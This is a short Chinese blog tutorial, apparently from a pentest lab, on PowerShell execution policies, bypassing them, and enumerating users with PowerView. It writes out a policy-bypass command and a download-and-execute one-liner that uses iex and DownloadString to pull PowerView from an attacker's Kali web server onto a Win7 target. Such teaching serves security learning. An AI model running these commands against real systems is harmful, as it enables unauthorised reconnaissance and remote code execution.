PowerShell收集信息及绕过PowerShell权限

发布时间 2023-05-08 14:06:09作者: Mr-Ryan

PowerShell脚本的4种执行权限:

Restricted:默认设置,不允许任何script运行
AllSigned:只能运行经过数字证书签名的script
RemoteSigned:本地脚本不做限制,网络上下载的script就必须有数字签名
Unrestricted:允许所有的script运行,权限最高
windows默认不允许任何脚本运行,可以使用 "Set-ExecutionPolicy" cmdlet 来更改这个策略


使用PowerShell进行信息收集的步骤:

1、进入powershell

image.png

2、查看权限

image.png

3、导入脚本文件

image.png

4、执行相关命令

image.png

PowerShell有关命令:

image.png

绕过PowerShell权限的方式:

1、能够上传脚本到目标机器:

powershell.exe -executionpolicy bypass "import-module ./powerview.ps1;get-netuser"

image.png

2、不能上传脚本到目标机器:

1)能够访问到脚本(需要有Web服务器)
2)kali开启Apache服务
image.png
将powerview.ps1脚本复制到kali中var/www/html目录下
image.png
访问脚本文件
image.png

发现显示没有权限,所以修改powerview.ps1脚本权限
image.png

再次访问
image.png

在win7中输入以下命令:

powershell.exe -exec bypass -nop -c "iex(New-Object Net.WebClient).DownloadString('http://<kali的web服务的ip>/powerview.ps1');get-netuser"

image.png